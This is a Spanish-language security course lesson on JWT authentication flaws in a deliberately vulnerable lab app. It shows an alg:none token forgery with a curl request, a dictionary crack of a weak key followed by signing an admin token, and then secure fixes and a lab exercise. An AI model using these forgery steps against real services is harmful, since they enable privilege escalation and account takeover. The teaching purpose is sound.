

Módulo 3: Identidad y Control de Acceso

T07: Autenticación Rota y JWT

Carlos Rodríguez Contreras · GitHub: karrocon

🔒 *JWT mal configurado, fuerza bruta y el ataque* `alg: none`

Objetivos

- Entender la estructura de un JWT (header, payload, signature)
- Explotar el algoritmo `alg: none` en VulnApp para falsificar tokens
- Ejecutar un ataque de fuerza bruta a un JWT con clave débil
- Configurar JWT correctamente (clave fuerte, RS256, expiración corta)

¿Qué es un JWT?

JSON Web Token — un token autocontenido firmado digitalmente.

```
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiJEsInJvbGUiOiJhZG1pb2I9.FIRMA
└─ Header ─┘      └──────── Payload ─────────┘      └─ Signature ─┘
```

```
// Header (base64url)
{ "alg": "HS256", "typ": "JWT" }

// Payload (base64url)
{ "userId": 1, "username": "alice", "role": "admin", "exp": 1716000000 }

// Signature
HMAC-SHA256(header.payload, SECRET_KEY)
```

Vulnerabilidades JWT en VulnApp

1. Clave débil y hardcodeada:

```
// src/routes/auth.ts:7
const JWT_SECRET = 'secret';
```

2. No valida algoritmo:

```
// src/middleware/auth.ts:27
jwt.verify(token, JWT_SECRET);
// ← Acepta cualquier alg, incluso "none"
```

💀 Consecuencias:

- `alg: none` → firma ignorada, payload arbitrario
- Clave `'secret'` → crackeable por diccionario en segundos
- Sin expiración corta → token robado vale indefinidamente

Ataque 1: alg: none

```
// Construir un token sin firma
const header = btoa(JSON.stringify({ alg: "none", typ: "JWT" }));
const payload = btoa(JSON.stringify({
  userId: 1, username: "alice", role: "admin"
}));
const fakeToken = `${header}.${payload}.`; // ← firma vacía
```

```
curl http://localhost:3000/users/1 \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJ1c2VySWQiOiJEsInJvbGUiOiJhZG1pbiJ9."
```

Si el servidor no rechaza **alg: none**, acepta el token como válido.

Ataque 2: fuerza bruta de la clave

```
# Con jwt-cracker (o hashcat)
jwt-cracker "eyJhbG..." -d /usr/share/wordlists/rockyou.txt

# Resultado: SECRET = "secret" (cracked en <1 segundo)
```

Una vez conocida la clave, puedes **firmar cualquier payload**:

```
# Generar token admin válido
node -e "
const jwt = require('jsonwebtoken');
console.log(jwt.sign({userId:1, role:'admin'}, 'secret'));
"
```

El fix: JWT seguro

```
// 1. Clave fuerte desde variable de entorno
const JWT_SECRET = process.env.JWT_SECRET!; // 256+ bits aleatorios

// 2. Validar algoritmo explícitamente
const payload = jwt.verify(token, JWT_SECRET, {
  algorithms: ['HS256'] // ← RECHAZA alg:none y otros
});

// 3. Expiración corta
jwt.sign(payload, JWT_SECRET, { expiresIn: '1h' });
```

✅ Para producción: considera **RS256** (clave asimétrica) — el servidor firma con privada, verifica con pública.

Checklist de configuración JWT segura

Aspecto	Inseguro	Seguro
Clave	<code>'secret'</code>	<code>crypto.randomBytes(64).toString('hex')</code>
Algoritmo	No validado	<code>algorithms: ['HS256']</code>
Expiración	24h o sin exp	15min-1h + refresh token
Almacenamiento clave	Hardcodeado	<code>process.env</code> / Key Vault
Transporte	HTTP	Solo HTTPS
Almacenamiento cliente	<code>localStorage</code>	<code>httpOnly</code> cookie

HS256 vs RS256 — cuándo usar cada uno

	HS256 (simétrico)	RS256 (asimétrico)
Clave	Una sola clave compartida	Par público/privada
Firma	misma clave firma y verifica	privada firma, pública verifica
Ideal para	Monolitos (un solo servicio)	Microservicios (muchos verifican)
Riesgo	Si se filtra → firmar y verificar	Si se filtra pública → solo verificar

```
// RS256 - solo el auth service tiene la clave privada  
const token = jwt.sign(payload, privateKey, { algorithm: 'RS256' });  
// Otros servicios verifican con la clave pública (no pueden firmar)  
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
```

Refresh tokens — patrón de renovación

🔑 **Login** → Access Token (15min) + Refresh Token (7d) → ⌚ **Expira** → 🔄 **Refresh** → Nuevo Access Token

```
// Endpoint /refresh - emite un nuevo access token
router.post('/refresh', (req, res) => {
  const { refreshToken } = req.body;
  // 1. Verificar que el refresh token es válido y no está revocado
  const stored = db.prepare('SELECT * FROM refresh_tokens WHERE token = ?').get(refreshToken);
  if (!stored || stored.revoked) return res.status(401).json({ error: 'Token revocado' });

  // 2. Emitir nuevo access token
  const accessToken = jwt.sign({ userId: stored.user_id }, JWT_SECRET, { expiresIn: '15m' });
  res.json({ accessToken });
});
```

✅ El access token corto minimiza el daño de un robo. El refresh token largo mejora la UX.



Lab T07: Falsificando un JWT

Objetivo: modificar el payload de un JWT para escalar privilegios

Setup: `cd VulnApp && npm start`

1. Inicia sesión y copia el token JWT de la respuesta
2. Decodifícalo en jwt.io y observa el payload
3. Cambia `"role": "user"` a `"role": "admin"` y usa `alg: none`
4. Repite la petición con el token modificado — ¿funciona?
5. Corrige `src/middleware/auth.ts` para rechazar `alg: none`